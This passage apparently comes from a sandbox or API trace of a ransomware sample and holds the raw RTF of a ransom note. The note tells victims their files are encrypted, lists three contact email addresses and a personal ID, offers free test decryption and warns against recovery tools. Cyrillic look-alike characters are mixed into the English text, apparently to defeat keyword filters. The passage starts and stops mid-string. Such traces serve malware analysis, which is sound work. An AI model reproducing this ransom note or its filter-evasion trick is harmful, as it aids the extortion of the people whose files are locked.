n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r 